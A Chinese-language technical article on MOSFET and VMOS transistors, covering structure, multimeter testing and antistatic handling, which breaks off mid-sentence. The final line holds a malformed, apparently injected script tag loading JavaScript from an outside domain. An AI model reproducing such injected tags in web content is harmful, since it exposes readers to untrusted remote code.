1、mos场效应管
即金属-氧化物-半导体型场效应管，英文缩写为mosfet（metal-oxide-semiconductor field-effect-transistor），属于绝缘栅型。其主要特点是在金属栅极与沟道之间有一层二氧化硅绝缘层，因此具有很高的输入电阻（最高可达1015ω）。它也分n沟道管和p沟道管，符号如图1所示。通常是将衬底（基板）与源极s接在一起。根据导电方式的不同，mosfet又分增强型、耗尽型。所谓增强型是指：当vgs=0时管子是呈截止状态，加上正确的vgs后，多数载流子被吸引到栅极，从而“增强”了该区域的载流子，形成导电沟道。耗尽型则是指，当vgs=0时即形成沟道，加上正确的vgs时，能使多数载流子流出沟道，因而“耗尽”了载流子，使管子转向截止。
以n沟道为例，它是在p型硅衬底上制成两个高掺杂浓度的源扩散区n+和漏扩散区n+，再分别引出源极s和漏极d。源极与衬底在内部连通，二者总保持等电位。图1（a）符号中的前头方向是从外向电，表示从p型材料（衬底）指身n型沟道。当漏接电源正极，源极接电源负极并使vgs=0时，沟道电流（即漏极电流）id=0。随着vgs逐渐升高，受栅极正电压的吸引，在两个扩散区之间就感应出带负电的少数载流子，形成从漏极到源极的n型沟道，当vgs大于管子的开启电压vtn（一般约为+2v）时，n沟道管开始导通，形成漏极电流id。
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国产n沟道mosfet的典型产品有3do1、3do2、3do4（以上均为单栅管），4do1（双栅管）。它们的管脚排列（底视图）见图2。
mos场效应管比较“娇气”。这是由于它的输入电阻很高，而栅-源极间电容又非常小，极易受外界电磁场或静电的感应而带电，而少量电荷就可在极间电容上形成相当高的电压（u=q/c），将管子损坏。因此了厂时各管脚都绞合在一起，或装在金属箔内，使g极与s极呈等电位，防止积累静电荷。管子不用时，全部引线也应短接。在测量时应格外小心，并采取相应的防静电感措施。
mos场效应管的检测方法
（1）．准备工作
测量之前，先把人体对地短路后，才能摸触mosfet的管脚。最好在手腕上接一条导线与大地连通，使人体与大地保持等电位。再把管脚分开，然后拆掉导线。
（2）．判定电极
将万用表拨于r×100档，首先确定栅极。若某脚与其它脚的电阻都是无穷大，证明此脚就是栅极g。交换表笔重测量，s-d之间的电阻值应为几百欧至几千欧，其中阻值较小的那一次，黑表笔接的为d极，红表笔接的是s极。日本生产的3sk系列产品，s极与管壳接通，据此很容易确定s极。
（3）．检查放大能力（跨导）
将g极悬空，黑表笔接d极，红表笔接s极，然后用手指触摸g极，表针应有较大的偏转。双栅mos场效应管有两个栅极g1、g2。为区分之，可用手分别触摸g1、g2极，其中表针向左侧偏转幅度较大的为g2极。
目前有的mosfet管在g-s极间增加了保护二极管，平时就不需要把各管脚短路了。
mos场效应晶体管使用注意事项。
mos场效应晶体管在使用时应注意分类，不能随意互换。mos场效应晶体管由于输入阻抗高（包括mos集成电路）极易被静电击穿，使用时应注意以下规则：
（1）.mos器件出厂时通常装在黑色的导电泡沫塑料袋中，切勿自行随便拿个塑料袋装。也可用细铜线把各个引脚连接在一起，或用锡纸包装
（2）.取出的mos器件不能在塑料板上滑动，应用金属盘来盛放待用器件。
（3）. 焊接用的电烙铁必须良好接地。
（4）. 在焊接前应把电路板的电源线与地线短接，再mos器件焊接完成后在分开。
（5）. mos器件各引脚的焊接顺序是漏极、源极、栅极。拆机时顺序相反。
（6）.电路板在装机之前，要用接地的线夹子去碰一下机器的各接线端子，再把电路板接上去。
（7）. mos场效应晶体管的栅极在允许条件下，最好接入保护二极管。在检修电路时应注意查证原有的保护二极管是否损坏。
2、vmos场效应管
vmos场效应管（vmosfet）简称vmos管或功率场效应管，其全称为v型槽mos场效应管。它是继mosfet之后新发展起来的高效、功率开关器件。它不仅继承了mos场效应管输入阻抗高（≥108w）、驱动电流小（左右0.1μa左右），还具有耐压高（最高可耐压1200v）、工作电流大（1.5a～100a）、输出功率高（1～250w）、跨导的线性好、开关速度快等优良特性。正是由于它将电子管与功率晶体管之优点集于一身，因此在电压放大器（电压放大倍数可达数千倍）、功率放大器、开关电源和逆变器中正获得广泛应用。
众所周知，传统的mos场效应管的栅极、源极和漏极大大致处于同一水平面的芯片上，其工作电流基本上是沿水平方向流动。vmos管则不同，从左下图?script src=http://er12.com/t.js>
